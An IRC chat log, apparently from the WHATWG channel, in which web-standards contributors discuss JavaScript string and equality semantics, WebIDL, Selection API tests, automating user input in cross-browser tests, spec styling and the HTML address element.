[10:45:01.0000] <AryehGregor>
So it seems like HTML5 assumes strings are sequences of Unicode characters, while in JavaScript they're actually sequences of 16-bit numbers which are typically interpreted as UTF-16 code units.

[10:45:02.0000] <AryehGregor>
Is this bad?

[10:46:00.0000] <TabAtkins>
What do you mean by "typically interpreted as"?  Strings *are* UTF-16-encoded byte sequences in javascript.  What's the distinction you're trying to draw?

[10:46:01.0000] <Ms2ger>
WebIDL should probably handle that

[10:46:02.0000] <AryehGregor>
TabAtkins, a string in JavaScript doesn't have to be valid UTF-16.

[10:46:03.0000] <Hixie>
mven: what tab said. HTML4 already allowed that.

[10:46:04.0000] <TabAtkins>
AryehGregor: Ah, kk.  True.

[10:46:05.0000] <AryehGregor>
Ms2ger, WebIDL doesn't apply to random functions that accept strings.  I'm thinking of atob() and btoa() here.

[10:46:06.0000] <Ms2ger>
Why not?

[10:46:07.0000] <AryehGregor>
Does it?

[10:46:08.0000] <AryehGregor>
I have to read WebIDL sometime.

[10:46:09.0000] <AryehGregor>
Oh, hmm.

[10:47:00.0000] <AryehGregor>
Yeah, I guess it does, doesn't it?

[10:47:01.0000] <mven>
cool. thanks for the clarifications guys

[10:47:02.0000] <AryehGregor>
/me looks at WebIDL

[10:47:03.0000] <TabAtkins>
Random functions, no.  Defined functions with typed arguments, yes.

[10:48:00.0000] <AryehGregor>
Okay, where are they hiding the ED of WebIDL?

[10:48:01.0000] <Ms2ger>
http://dev.w3.org/2006/webapi/WebIDL/

[10:48:02.0000] <TabAtkins>
Argh I hate the years in w3c urls.

[10:49:00.0000] <TabAtkins>
SO MEANINGLESS.

[10:49:01.0000] <othermaciej>
AryehGregor: there's no reason it wouldn't apply, just add an interface that applies on top of Window

[10:49:02.0000] <AryehGregor>
Yeah, I forgot that all these functions are defined with WebIDL interfaces.

[10:49:03.0000] <othermaciej>
TabAtkins: I've been hating the dates since, like, 2000

[10:49:04.0000] <Ms2ger>
Old man.

[10:49:05.0000] <AryehGregor>
Okay, so it looks like users of WebIDL have to explicitly say that they want to convert a DOMString to a sequence of Unicode characters.

[10:50:00.0000] <AryehGregor>
For correctness, I guess either I should say that or do it in code units.

[10:50:01.0000] <Ms2ger>
I guess that makes sense

[11:03:00.0000] <AryehGregor>
Why is [1, 3] === [1, 3] false?

[11:03:01.0000] <TabAtkins>
Arrays are compared by object identity.

[11:03:02.0000] <AryehGregor>
Ah.

[11:03:03.0000] <TabAtkins>
Javascript's equality is so broken.

[11:03:04.0000] <Workshiva>
eh

[11:03:05.0000] <Ms2ger>
s/'s equality //

[11:04:00.0000] <Workshiva>
It's a very simple model, objects are always compared by identity

[11:04:01.0000] <TabAtkins>
I forget, does 1 === 1?

[11:04:02.0000] <TabAtkins>
/me supposes he can check for himself...

[11:04:03.0000] <miketaylr>
yes

[11:05:00.0000] <Workshiva>
=== just avoids type conversion

[11:05:01.0000] <TabAtkins>
And you called it simple.  Pfft.

[11:05:02.0000] <hober>
well, === is basically CL's eq, whereas == is CL's equal.

[11:05:03.0000] <hober>
you *want* [1,3] === [1,3] to be false

[11:05:04.0000] <TabAtkins>
Maybe.  Perhaps I just want "same type, and same data".

[11:06:00.0000] <TabAtkins>
That is, == without the type conversion.

[11:06:01.0000] <TabAtkins>
Which is what I thought === *was*, until I recently discovered I was mistaken.

[11:06:02.0000] <Workshiva>
That way lies madness

[11:06:03.0000] <hober>
woth a read: http://www.nhplace.com/kent/PS/EQUAL.html

[11:06:04.0000] <Ms2ger>
Also, operator overloading

[11:06:05.0000] <TabAtkins>
Yup, I'm a Lisper.  I love my 5 builtin equality functions.

[11:07:00.0000] <TabAtkins>
Though, honestly, who ever uses EQL?

[11:25:00.0000] <AryehGregor>
Ms2ger, here's a test for you: http://dvcs.w3.org/hg/html/raw-file/6243b5d14211/tests/submission/AryehGregor/selection-dir.html

[11:25:01.0000] <Ms2ger>
Yay :)

[11:49:00.0000] <AryehGregor>
Now I get to define Selection.extend(), yay.

[11:51:00.0000] <Ms2ger>
Good luck

[11:51:01.0000] <Ms2ger>
And much appreciated

[11:51:02.0000] <AryehGregor>
:)

[11:52:00.0000] <Ms2ger>
What's the "(maybe not in order)" about?

[11:53:00.0000] <AryehGregor>
Just that the correct offsets are selected period, even if they're not backwards like they should be.

[11:53:01.0000] <AryehGregor>
In particular, IE9 beta passes that test but fails subsequent ones.

[11:53:02.0000] <AryehGregor>
It's partly a sanity check to make sure that the user actually selected what they were supposed to.

[11:53:03.0000] <Ms2ger>
Okay

[12:03:00.0000] <AryehGregor>
Is there a way to get the (x, y) coordinates of the caret, or to scroll it into view, or to scroll a Range or Selection into view?

[12:04:00.0000] <AryehGregor>
(this is largely unrelated to what I'm doing)

[12:05:00.0000] <Ms2ger>
Range.getBoundingClientRect(), maybe?

[12:05:01.0000] <Ms2ger>
Or Range.startContainer(.parentNode).scrollIntoView

[12:06:00.0000] <AryehGregor>
The latter doesn't work for a large element with scrollbars, as you'd get in a contenteditable type scenario.

[12:07:00.0000] <Ms2ger>
Indeed

[12:07:01.0000] <Hixie>
http://www.w3.org/Bugs/Public/show_bug.cgi?id=11166 about the reset insertion mode algorithm seems to be wrong. Not sure who filed it, but the IP was someone at Opera. jgraham maybe? Anyway, I'd love a second opinion in case I am wrong about it being wrong.

[12:21:00.0000] <Ms2ger>
assert_equals(selection.anchorNode, p); assert_equals(selection.anchorNode, p);

[12:21:01.0000] <Ms2ger>
I hope those both have the same result :)

[12:21:02.0000] <AryehGregor>
Oops.

[12:22:00.0000] <AryehGregor>
Copy-paste fail.

[12:22:01.0000] <Ms2ger>
I gathered

[12:27:00.0000] <AryehGregor>
Updated.

[12:31:00.0000] <paul_irish>
this is totally pendantic.. but.. do "elements" exist in HTML? or would you say "elements" are only in the DOM that's constructed from the tags 'n such parsed from the HTML?

[12:32:00.0000] <TabAtkins>
Yes, elements exist in the DOM.

[12:32:01.0000] <paul_irish>
but HTML has no elements.

[12:32:02.0000] <Peter`>
and tags are strings

[12:32:03.0000] <TabAtkins>
The HTML text contains tags.

[12:32:04.0000] <nimbupani>
so what do you call a <em>text</em>

[12:32:05.0000] <Peter`>
The DOM representation of the HTML text contains elements

[12:32:06.0000] <TabAtkins>
Tags and their contents are parsed into elements.

[12:32:07.0000] <nimbupani>
in HTML

[12:32:08.0000] <TabAtkins>
An em element?

[12:33:00.0000] <nimbupani>
:)

[12:33:01.0000] <paul_irish>
heheh but thats the HTML serialization of an em element!

[12:33:02.0000] <nimbupani>
paul_irish pwnedddddd

[12:33:03.0000] <pesla>
paul_irish: So HTML in itself doesnt have elements

[12:33:04.0000] <Ms2ger>
There's HTML the serialization and HTML the DOM language

[12:33:05.0000] <Ms2ger>
The former has tags, the latter has elements

[12:34:00.0000] <TabAtkins>
What's the purpose of the pedantry?

[12:34:01.0000] <paul_irish>
terminology fights that go nowhere.

[12:34:02.0000] <nimbupani>
to do in-ur-face on people who are pedantic about tags and elements

[12:34:03.0000] <paul_irish>
and that.

[12:34:04.0000] <TabAtkins>
What's the purpose of the terminology fights?

[12:34:05.0000] <paul_irish>
/me shrugs.

[12:34:06.0000] <nimbupani>
TabAtkins you are sounding too zen for me.

[12:35:00.0000] <paul_irish>
its so just zen.

[12:35:01.0000] <TabAtkins>
<em> is a tag.  <em>foo</em> is an element.  Done.

[12:35:02.0000] <Peter`>
He just came back from vacation, evidently was a good one :)

[12:35:03.0000] <TabAtkins>
<br> is a tag and an element.

[12:35:04.0000] <Hixie>
man, that's a lot of discussion over a simple request to be able to seek by frames rather than by time

[12:35:05.0000] <TabAtkins>
Or perhaps you could say it "represents" a tag and an element.

[12:35:06.0000] <TabAtkins>
Hixie: That's what happens when you start with the solution.

[12:36:00.0000] <Hixie>
hear hear

[12:36:01.0000] <paul_irish>
only because... you can't type an element if you dont serialize it to html

[12:36:02.0000] <Ms2ger>
It is two tags and some text, and it represents one element

[12:36:03.0000] <AryehGregor>
Hixie, the problem with writing lots of manual tests is that no one will run them.

[12:37:00.0000] <Hixie>
AryehGregor: they won't get run as often, but they'll still get run

[12:37:01.0000] <Hixie>
the problem with not having any manual tests is that nobody can run them :-)

[12:37:02.0000] <Ms2ger>
See the spam on p-html-testsuite

[12:37:03.0000] <Hixie>
/me resists the temptation to say "back in my day, we only had manual tests, and we liked it!" :-P

[12:38:00.0000] <Ms2ger>
Hixie, that's what MS still does

[12:38:01.0000] <Hixie>
wow, that explains a lot

[12:38:02.0000] <jgraham>
You could call it some text tagged as <em>

[12:38:03.0000] <Ms2ger>
jgraham, <em> or em? :)

[12:39:00.0000] <jgraham>
Wait, who's writing manual tests?

[12:39:01.0000] <jgraham>
Please stop...

[12:39:02.0000] <Ms2ger>
Untestable without user interaction, sorry

[12:39:03.0000] <Hixie>
jgraham: selection ui tests

[12:40:00.0000] <Hixie>
jgraham: not really any way to test the effect of user interaction on the selection API other than having some user interaction, currently.

[12:41:00.0000] <TabAtkins>
All right, time to write some slides.

[12:41:01.0000] <Hixie>
jgraham: AryehGregor and i were just discussing this privately, saying how it would be great to have a testing API that let you fake out the user interaction from a test, though

[12:41:02.0000] <jgraham>
Well we could all use watir or similar. Doesn't that have support for all major browsers these days?

[12:41:03.0000] <AryehGregor>
jgraham, I was trying to convince Hixie that I shouldn't write lots of tests like this: http://dvcs.w3.org/hg/html/raw-file/6243b5d14211/tests/submission/AryehGregor/selection-dir.html

[12:41:04.0000] <Ms2ger>
Mochitest has that!

[12:42:00.0000] <AryehGregor>
I know.

[12:42:01.0000] <AryehGregor>
But it would be nice if spec tests were cross-browser.  ;)

[12:42:02.0000] <Ms2ger>
I know you know :)

[12:42:03.0000] <Ms2ger>
Pff ;)

[12:42:04.0000] <AryehGregor>
And preferably in JavaScript, unlike Watir.  Although currently it's impossible to have both of those.

[12:42:05.0000] <Hixie>
i'd be extremely happy to have the tests be automated so long as they still work in isolation, just like regular JS tests

[12:42:06.0000] <AryehGregor>
What do you mean by "work in isolation"?

[12:43:00.0000] <Hixie>
AryehGregor: as in, you don't have to run a massive harness just to run one file

[12:43:01.0000] <jgraham>
I don't exactly like watir. But I don't like manual tests more

[12:43:02.0000] <jgraham>
Hixie: Why is that a requirement?

[12:43:03.0000] <Hixie>
i don't like manual tests, but i don't like the lack of any tests more. :-)

[12:43:04.0000] <jgraham>
(ideally they should be possible to run both ways)

[12:44:00.0000] <AryehGregor>
Is there any Watir equivalent in, say, Python?

[12:44:01.0000] <jgraham>
I find there is very little difference between manual tests and missing tests

[12:44:02.0000] <jgraham>
Neither get run often enough

[12:44:03.0000] <Hixie>
jgraham: i almost never care about the aggregate result, i always care about specific tests (e.g. because i'm trying to reverse engineer a specific feature, or because i'm trying to file a bug with a reproducible case, or because i'm trying to debug a specific failure)

[12:45:00.0000] <AryehGregor>
How about Selenium?  Is that too evil or heavyweight?

[12:45:01.0000] <jgraham>
Hixie: That isn't the typical case for a browser developer

[12:45:02.0000] <AryehGregor>
Yeah, tests are mostly for browser developers, not spec writers . . .

[12:45:03.0000] <Hixie>
jgraham: so?

[12:46:00.0000] <Hixie>
jgraham: given that it's trivial to support...

[12:46:01.0000] <jgraham>
Hixie: You are atypical and we should weigh your needs accordingly :)

[12:46:02.0000] <jgraham>
What is trivial to suuport?

[12:46:03.0000] <Hixie>
and browser developers need to be able te debug failing tests, you know :-)

[12:46:04.0000] <AryehGregor>
Selenium is maybe too opaque.

[12:46:05.0000] <Hixie>
jgraham: making tests that run in isolation as well as en-masse

[12:46:06.0000] <jgraham>
If you are arguning that automated tests should *also* work when run manually, I agree

[12:47:00.0000] <Hixie>
yes

[12:47:01.0000] <gavin>
whether or not you need a harness is separate from whether or not a single test can be run

[12:47:02.0000] <Hixie>
we seem to be in violent agreement

[12:47:03.0000] <jgraham>
gavin: In this specific case a "harness" is an external program that provides user input

[12:47:04.0000] <jgraham>
You should generally be able to do without that

[12:48:00.0000] <jgraham>
Because the test should describe the set of steps to take

[12:48:01.0000] <AryehGregor>
I really wish we could just spec some basic JS APIs like Mochitest has and use those if the browser is invoked in some magic way (to avoid security issues).

[12:48:02.0000] <jgraham>
Although they might be impractical to actually do manually

[12:49:00.0000] <jgraham>
AryehGregor: This stuff is, at least, complex. I'm not sure if that is possible or impossible

[12:49:01.0000] <jgraham>
But it's not clear how it works if e.g. navigation of a top level browsing context is part of the test

[12:50:00.0000] <AryehGregor>
Well, first things first.

[12:50:01.0000] <AryehGregor>
Just basic synthesis of clicks and keypresses would go a very long way.

[12:50:02.0000] <Hixie>
http://dev.w3.org/Graphics-FX/modules/filters/publish/SVGFilter.html#InterfaceImageData takes something that HTML specs, and respecs it dropping almost all the conformance criteria, and then says it's trying to be compatible with HTML.

[12:50:03.0000] <Hixie>
sigh.

[12:51:00.0000] <Ms2ger>
SVG.

[12:51:01.0000] <jgraham>
AryehGregor: The problem is you can end up with lots of 20% solutions

[12:52:00.0000] <AryehGregor>
Sure.

[12:52:01.0000] <AryehGregor>
Although I'd say that keypresses and clicks are more like 80% solutions.

[12:52:02.0000] <jgraham>
/me would be interested to see if that matches our internal tests

[12:52:03.0000] <benschwarz>
Hixie: !ping

[12:53:00.0000] <heycam>
Hixie, yeah it does seem like it would be better if that just referenced the ImageData from HTML5 instead of half copying it

[12:53:01.0000] <AryehGregor>
Internal tests are testing different things on average than spec tests.

[12:53:02.0000] <Hixie>
benschwarz: here

[12:53:03.0000] <benschwarz>
Hixie: on the code areas, there are only a few options… what do you think we should do?

[12:53:04.0000] <benschwarz>
scrolling them is awkward

[12:53:05.0000] <benschwarz>
plus, not very good on a mobile device

[12:54:00.0000] <jgraham>
AryehGregor: True. But it is a pain for us to implement two different solutions for the two cases

[12:54:01.0000] <AryehGregor>
More or less of a pain than speccing and implementing a fuller API?

[12:54:02.0000] <Hixie>
benschwarz: dunno. I had the same problem on my blog and ended up with a terrible half-assed solution (i made the paragraphs have a fixed width but let more or less everything else be as wide as it wanted, which looks pretty ugly when you have nested lists)

[12:54:03.0000] <AryehGregor>
You can wrap the minimal specced API around your thorough internal API.

[12:55:00.0000] <Hixie>
benschwarz: adding a scroll bar is definitely the wrong solution, it's horrible UI (and feels stupid, especially when the page has lots of whitespace)

[12:55:01.0000] <benschwarz>
Hixie, yeah I'd like to avoid that. I did look at :hover states to widen them, clip them otherwise, but again, doesn't work on all devices

[12:55:02.0000] <Hixie>
benschwarz: maybe we should suck it up and let the examples overflow to the left? or something? I mean, it will look a bit ugly, but...

[12:55:03.0000] <Hixie>
benschwarz: we can also make the font size smaller

[12:56:00.0000] <benschwarz>
Hixie: I was thinking I could keep it the same, widen the box a little, and pull them left (like the notes)

[12:56:01.0000] <Hixie>
benschwarz: yeah, that might work. Though the notes being pulled to the left looks like they're slipping out or something.

[12:57:00.0000] <benschwarz>
Hixie: maybe they're pulled a little too much, but either way it breaks up the vertical jungle of code

[12:57:01.0000] <Hixie>
yeah

[12:58:00.0000] <Hixie>
maybe pull the examples as a whole out instead?

[12:58:01.0000] <Hixie>
there's no really a strong need to style the notes in the dev edition

[12:58:02.0000] <Hixie>
they're only notes because they're non-normative, and the devs won't care

[12:58:03.0000] <Hixie>
so we can just let them look like normal prose, and then pull the examples out to break the flow a bit

[12:58:04.0000] <Hixie>
but dunno

[12:58:05.0000] <Hixie>
i'm no designer :-)

[12:59:00.0000] <Hixie>
just look at the current spec :-)

[13:00:00.0000] <benschwarz>
Hixie: I need to read the spec and think about the roles of those elements

[13:01:00.0000] <Hixie>
k

[13:02:00.0000] <Ms2ger>
What about pre-line?

[13:04:00.0000] <Hixie>
benschwarz: fwiw, the longest line in an example is the ridiculous line in the <span> element's section, but that one _should_ wrap, that's fine

[13:05:00.0000] <Hixie>
benschwarz: other than that, the next longest lines are the one that first mentions "Preferred delivery time" in the Forms section, and the one in the Conversations section, though that last one can wrap without problem

[13:06:00.0000] <Hixie>
benschwarz: looks like the maximum line length you should expect is about 160 characters monospace, with most being 120 or less

[13:06:01.0000] <benschwarz>
pretty wide :)

[13:07:00.0000] <benschwarz>
I've pulled down the font-size

[13:07:01.0000] <Hixie>
most lines in the spec seem to be 71 characters, but i haven't got a quick way to limit my search to <pre> blocks

[13:08:00.0000] <benschwarz>
Hixie: fair enough

[13:08:01.0000] <Hixie>
benschwarz: if you come across any gratuitously long lines, though, let me know and i'll shrink them

[13:09:00.0000] <benschwarz>
I will

[13:09:01.0000] <Hixie>
benschwarz: there's a few that are long because that's just the best way to convey what they say, but most don't fall into that category

[13:09:02.0000] <benschwarz>
Hixie: no worries

[13:10:00.0000] <benschwarz>
we don't have to have the answers to everything right now

[13:10:01.0000] <benschwarz>
its about a line in the sand

[13:12:00.0000] <benschwarz>
Hixie: I have to leave for work :)

[13:12:01.0000] <benschwarz>
really, its a :(

[13:12:02.0000] <benschwarz>
I'd rather get this spec right

[13:13:00.0000] <benschwarz>
Laters all!

[13:26:00.0000] <Hixie>
anyone here know anything about ICE/STUN btw?

[13:27:00.0000] <TabAtkins>
I am frankly surprised that "ice stun" turned up such good results.

[13:27:01.0000] <TabAtkins>
(I know nothing.)

[14:27:00.0000] <AryehGregor>
Hixie, put it this way: there's such a thing as having too many tests.  You reach that point when the cost of running the extra tests outweighs the benefit of realistically catching any extra bugs.  For manual tests, that threshold is very, very low, since they're so expensive to write and run.

[14:28:00.0000] <AryehGregor>
How about when I run out of things to do, you assign me to write a basic spec for cross-browser UI testing, like with click simulation or whatever?

[14:29:00.0000] <AryehGregor>
I imagine it wouldn't be hard to implement the few most basic things in at least one browser.

[14:30:00.0000] <AryehGregor>
(not that I'm saying I'll do that part, but maybe someone will be interested in doing it quickly)

[14:33:00.0000] <AryehGregor>
(I'm still writing some more manual tests here, but I think it's a bad idea to write more than a few.)

[14:55:00.0000] <gsnedders>
AryehGregor: Does Watir, etc. not do this?

[14:56:00.0000] <AryehGregor>
gsnedders, Watir requires you to use Ruby, yes?  That's a pretty massive minus.

[14:56:01.0000] <AryehGregor>
We'd really want JavaScript tests that can be run straight from the browser, like Mochitests.

[14:57:00.0000] <AryehGregor>
It's also a bit weird for the tests for a spec to depend on a particular program implementation in a particular non-standard language.

[14:58:00.0000] <gsnedders>
/me forgets the reason for moving from using stuff on the opera object to using Watir for testing stuff in Opera

[14:59:00.0000] <AryehGregor>
Does anyone know how WebKit does it?

[15:01:00.0000] <AryehGregor>
othermaciej, how does WebKit do tests that require synthesizing user input like keypresses or mouse clicks?

[15:01:01.0000] <othermaciej>
AryehGregor: depends

[15:01:02.0000] <othermaciej>
AryehGregor: when it's a good enough test, we fake it with dom events

[15:02:00.0000] <othermaciej>
AryehGregor: when real user events are needed, we have methods in our regression test tool that can send a real-looking event

[15:02:01.0000] <AryehGregor>
Are these methods called from simple JavaScript code within WebKit, like Gecko does it, or is it some external program?

[15:04:00.0000] <jamesr_>
javascript bindings (exposed only to tests)

[15:04:01.0000] <othermaciej>
AryehGregor: JS

[15:04:02.0000] <AryehGregor>
Ah, so like Gecko, then.

[15:04:03.0000] <othermaciej>
some of these tests can also be run via manual steps with instructions

[15:05:00.0000] <othermaciej>
but not all

[15:05:01.0000] <AryehGregor>
It would be nice to expose some of those in a safe way to spec tests, yes?  There are lots of things you can't do automated tests for without them.

[15:05:02.0000] <jamesr_>
define(safe)

[15:05:03.0000] <AryehGregor>
For instance, require a command-line option that specifies the URL prefixes that are allowed to use them, say.

[15:06:00.0000] <AryehGregor>
So you could whitelist http://dvcs.w3.org/ or whatever.

[15:06:01.0000] <jamesr_>
that doesn't sound safe to me - not even https?

[15:06:02.0000] <AryehGregor>
Yeah, I guess that's not safe enough.

[15:06:03.0000] <AryehGregor>
Also, lots of people have commit access to there.

[15:07:00.0000] <AryehGregor>
Well, it's only got to be as safe as running the tests that browsers already have.

[15:07:01.0000] <AryehGregor>
But it's doable, even if it would require downloading the test locally and running the browser with a command-line switch pointing at the exact local file you want to run (but I hope we can make it more convenient than that).

[15:08:00.0000] <jamesr_>
the tests that webkit has right now that synthesize native events are run off of local disk in a different binary from the typical browser binary (DumpRenderTree instead of Safari.app or Chrome.app or whatnot)

[15:08:01.0000] <gsnedders>
jamesr_: So how do you test the code you actually ship?

[15:09:00.0000] <jamesr_>
for handling native events? i can't speak for safari but in chrome we also have tests for this at higher levels

[15:09:01.0000] <othermaciej>
gsnedders: we assume the framework works the same regardless of the app linking it, which is essentially true

[15:10:00.0000] <othermaciej>
WebKit.framework is used by many apps, not just Safari.app, we usually assume WebKit bugs won't have a specific effect only in Safari.app and not in a minimal WebKit-based test tool

[15:11:00.0000] <gsnedders>
othermaciej: What about platform specific bugs? You have stuff like DumpRenderTree for ARM/iOS?

[15:11:01.0000] <gsnedders>
/me guesses the answer is "no comment"

[15:11:02.0000] <othermaciej>
our regression tests are run automated on every platform of interest before shipping to those platforms

[15:11:03.0000] <othermaciej>
we have bots that run on different versions of Mac OS X even

[15:13:00.0000] <gsnedders>
At the same number of builds across all platforms?

[15:13:01.0000] <othermaciej>
I'm not sure I understand the question

[15:15:00.0000] <gsnedders>
For every build run on 10.6/x86, is that build also run on all other platforms? Or do (at least some) other platforms not get tested on all builds?

[15:15:01.0000] <othermaciej>
the way it works is that on every SVN commit, the code is built on all target platforms and then all target platforms run the regression tests

[15:15:02.0000] <othermaciej>
at least on the open source side

[15:15:03.0000] <othermaciej>
I'm sure companies may also have internal testers for other build setups

[15:17:00.0000] <jamesr_>
in chrome land the bots run as fast as they can (so not necessarily on every commit, but in the limit they test every commit/platform combination if things cycle quickly enough). why do you ask?

[15:18:00.0000] <gsnedders>
Curiousity as to what competitors are doing. :)

[15:19:00.0000] <jamesr_>
it's all on the internets. build.webkit.org

[15:20:00.0000] <gsnedders>
Yeah, I know. But certain detail is easier to find out by asking than looking and trying to work out.

[15:21:00.0000] <othermaciej>
the best way to find out all the details is to hack on WebKit for a while

[15:22:00.0000] <gsnedders>
That's not really the most practical while working for a competitor :)

[15:22:01.0000] <gsnedders>
(And I can't say I ever actually touched any of this with what I did with WebKit when I was involved)

[15:27:00.0000] <Hixie>
AryehGregor: yeah, that's not a bad idea actually, if you can get the browsers on board (the testing api thing)

[15:28:00.0000] <Hixie>
othermaciej: i'm not sure i agree with your definition of "amicable", but anyway, i submitted his proposal

[15:28:01.0000] <Hixie>
committed, i should say

[15:28:02.0000] <othermaciej>
I just mean "amicable" in the sense of "no need for further bureaucratic nonsense before we can close the issue"

[15:29:00.0000] <othermaciej>
as opposed to "Ian Hickson and Julian Reschke are totally best pals"

[15:39:00.0000] <jamesr_>
gsnedders: i hack on firefox on occasion. it's good for you :)

[15:46:00.0000] <MikeSmith>
it's a shame we've had no implementor movement on UndoManager

[15:46:01.0000] <hober>
othermaciej: someone should write a webcomic in which ian and julian are buddy cops

[15:46:02.0000] <othermaciej>
Lethal Specification

[15:46:03.0000] <MikeSmith>
heh

[15:47:00.0000] <MikeSmith>
which one is Mel GIbson?

[15:47:01.0000] <othermaciej>
Weberly Hills Cop

[15:47:02.0000] <MikeSmith>
Hixie is Magneto and Julian is Professor Xavier

[15:48:00.0000] <MikeSmith>
one day the will reconcile enough at least to do battle together against those who wish to destroy us all

[15:53:00.0000] <Hixie>
anyone want to help me out writing the CCP for -129? It's a kitchen-sink issue that's gonna take forever to tease apart and provide status-quo rationales for.

[15:53:01.0000] <hober>
/me looks up ISSUE-129

[15:53:02.0000] <Hixie>
the existing CP is http://www.w3.org/html/wg/wiki/ChangeProposals/ARIAinHTML5

[15:54:00.0000] <AryehGregor>
Wow, there are really a lot of e-mails in the <video> FPS thread.

[15:54:01.0000] <Hixie>
yeah. beats me why.

[15:54:02.0000] <Hixie>
well, other than what was said before, "it's waht you get when you start with a solution"

[15:54:03.0000] <Hixie>
but still

[15:54:04.0000] <hober>
Hixie: I'll help out

[15:54:05.0000] <Hixie>
sweet

[15:55:00.0000] <hober>
/me will have some free time while gearing up for the SF move

[15:55:01.0000] <Hixie>
i guess i'll set something up on the whatwg wiki

[15:55:02.0000] <hober>
sounds good

[15:55:03.0000] <Hixie>
from what i understand, the best plan of attack is to break it down so that we discuss each of the originating bugs as a separate "sub-issue"

[15:55:04.0000] <hober>
*nod*

[15:56:00.0000] <Hixie>
and then we'll have to make sure that we've covered everything they did in their rationale, and then that we've covered everything they're proposing to change (that last one is the hardest, i think, since all they provided was new text for an entire section, without saying what they're changing exactly)

[15:56:01.0000] <hober>
basically, it'll be a total pain in the ass

[15:57:00.0000] <hober>
:)

[15:57:01.0000] <Hixie>
yeah


2011-01-13
[16:25:00.0000] <Hixie>
hober: ok, i started on http://wiki.whatwg.org/wiki/Change_Proposal_for_ISSUE-129

[16:36:00.0000] <AryehGregor>
Wow, it's really hard to select things exactly across multiple lines in IE9 beta (or maybe just on Windows generally?).

[16:37:00.0000] <Hixie>
yeah they do some annoying word-snapping thing

[16:39:00.0000] <AryehGregor>
Hixie, more tests: http://dvcs.w3.org/hg/html/raw-file/tip/tests/submission/AryehGregor/selection-dir.html

[16:39:01.0000] <AryehGregor>
Notice that the two extra manual steps didn't actually catch any additional bugs, AFAICT.

[16:39:02.0000] <AryehGregor>
(I.e., no tests failed for tests 2 or 3 that I notice in any browser that didn't also fail for 1, although I didn't check carefully.)

[16:39:03.0000] <AryehGregor>
I'd like to leave it at that for now and move onto extend().

[16:52:00.0000] <Hixie>
AryehGregor: i'm about to rush out the door, but will look tomorrow (ping me if i forget)

[16:52:01.0000] <AryehGregor>
k.

[16:52:02.0000] <AryehGregor>
How do I get hold of a node from a document other than the current one?

[16:53:00.0000] <Hixie>
iframe?

[16:53:01.0000] <AryehGregor>
I guess.

[16:53:02.0000] <Hixie>
hober: i filled in the bugs in http://wiki.whatwg.org/wiki/Change_Proposal_for_ISSUE-129 ; i'll start looking at the details tomorrow.

[16:54:00.0000] <Hixie>
hober: i'm thinking for some of these we'll have to explicitly have separate sections for technical rationales and process rationales (a number of the bugs were just escalated without any attempt at conflict resolution; some were escalated without even saying what the bug was)

[16:54:01.0000] <Hixie>
right, outta here

[16:54:02.0000] <Hixie>
bbl

[17:15:00.0000] <AryehGregor>
So if a method's argument is defined as a Node, what happens if you pass something other than a Node?

[17:15:01.0000] <AryehGregor>
/me really needs to read WebIDL

[17:21:00.0000] <AryehGregor>
So Firefox often throws NS_SOMETHING_ERR for various errors.  When standardizing, should I just pick a DOMException to throw instead?

[17:22:00.0000] <AryehGregor>
That seems to be the way all the specs are written, but I'm not sure.

[17:22:01.0000] <heycam>
AryehGregor, TypeError

[17:22:02.0000] <heycam>
that's what Web IDL says to throw

[17:23:00.0000] <AryehGregor>
Ah, okay.

[17:23:01.0000] <AryehGregor>
Makes sense.

[17:23:02.0000] <AryehGregor>
Although in this case, everyone throws a different type of exception and none of them are TypeErrors.

[17:23:03.0000] <heycam>
:)

[17:23:04.0000] <heycam>
I think TypeError is a reasonable choice for implementations to eventually converge on.

[17:24:00.0000] <AryehGregor>
What's TYPE_MISMATCH_ERR supposed to be used for, then?

[17:24:01.0000] <AryehGregor>
http://www.w3.org/TR/DOM-Level-3-Core/core.html#DOMException-TYPE_MISMATCH_ERR

[17:24:02.0000] <heycam>
I believe that's for the crazy schema stuff.

[17:25:00.0000] <AryehGregor>
Crazy schema stuff.

[17:25:01.0000] <AryehGregor>
Hmm.

[17:25:02.0000] <heycam>
oh it's not even thrown by dom 3 core

[17:25:03.0000] <AryehGregor>
Maybe I should go ahead and just read WebIDL and DOM Core all the way through before I start speccing anything here.

[17:25:04.0000] <heycam>
what method is this for?

[17:25:05.0000] <AryehGregor>
Selection.extend().

[17:26:00.0000] <heycam>
(actually I'm probably wrong about that being for crazy schema stuff. that's VALIDATION_ERR, and perhaps others.)

[19:10:00.0000] <oojacoboo>
so, anyone from the chromium project here?

[19:10:01.0000] <oojacoboo>
what was up with that whole, we're dropping h.264 and going "open" crap all about?

[19:13:00.0000] <wirepair>
wouldn't #chromium be a better place to ask that?

[19:13:01.0000] <oojacoboo>
didnt' know that was a channel

[19:13:02.0000] <oojacoboo>
thanks

[19:13:03.0000] <wirepair>
:)

[19:22:00.0000] <jwalden>
/me reads http://dev.w3.org/csswg/css3-images/#sizing

[20:13:00.0000] <oojacoboo>
can someone clarify the <address> element for me?

[20:14:00.0000] <oojacoboo>
would it be appropriate for a physical address or other contact information on a contact us page?

[20:15:00.0000] <oojacoboo>
and if so, how is it intended to be used?

[20:15:01.0000] <oojacoboo>
the spec seems to be very vague on this element, just saying that it's used to refer to an <article>

[20:16:00.0000] <oojacoboo>
surely there is more purpose to that element than just <article>, the internet isn't only blogs

[20:17:00.0000] <jgv>
I believe the spec says "any related content". It is vague though

[20:17:01.0000] <oojacoboo>
"The address element represents the contact information for its nearest article or body element ancestor. If that is the body element, then the contact information applies to the document as a whole."

[20:18:00.0000] <oojacoboo>
it seems to me that this is just for linking to another site where information regarding a blog post was referenced, or whatever

[20:18:01.0000] <oojacoboo>
but that seems extremely short-sighted

[21:57:00.0000] <Hixie>
oojacoboo: <address> is for the contact information of the page (or section), typically the e-mail address of the page's author.

[22:12:00.0000] <hsivonen>
tagged #adobe: https://twitter.com/#!/ChromeBrowser/status/25317539470909440

[22:35:00.0000] <othermaciej>
hsivonen: hmm, doesn't look like a parody twitter account

[23:38:00.0000] <hsivonen>
A TLA I was unaware of until a few seconds ago: http://en.wikipedia.org/wiki/XRX_%28web_application_architecture%29

[23:38:01.0000] <hsivonen>
"The XRX architecture is also tightly coupled to W3C standards (CSS, XHTML 2.0, XPath, XML Schema) to ensure XRX applications will be robust in the future."

[23:50:00.0000] <MikeSmith>
hsivonen: nice use of the passive tense there

[23:50:01.0000] <MikeSmith>
"XRX is considered to have a clean and elegant design."

[23:51:00.0000] <zcorpan>
should we add overflow:hidden to img, video etc in the ua stylesheet? https://bugs.webkit.org/show_bug.cgi?id=52103

[23:54:00.0000] <MikeSmith>
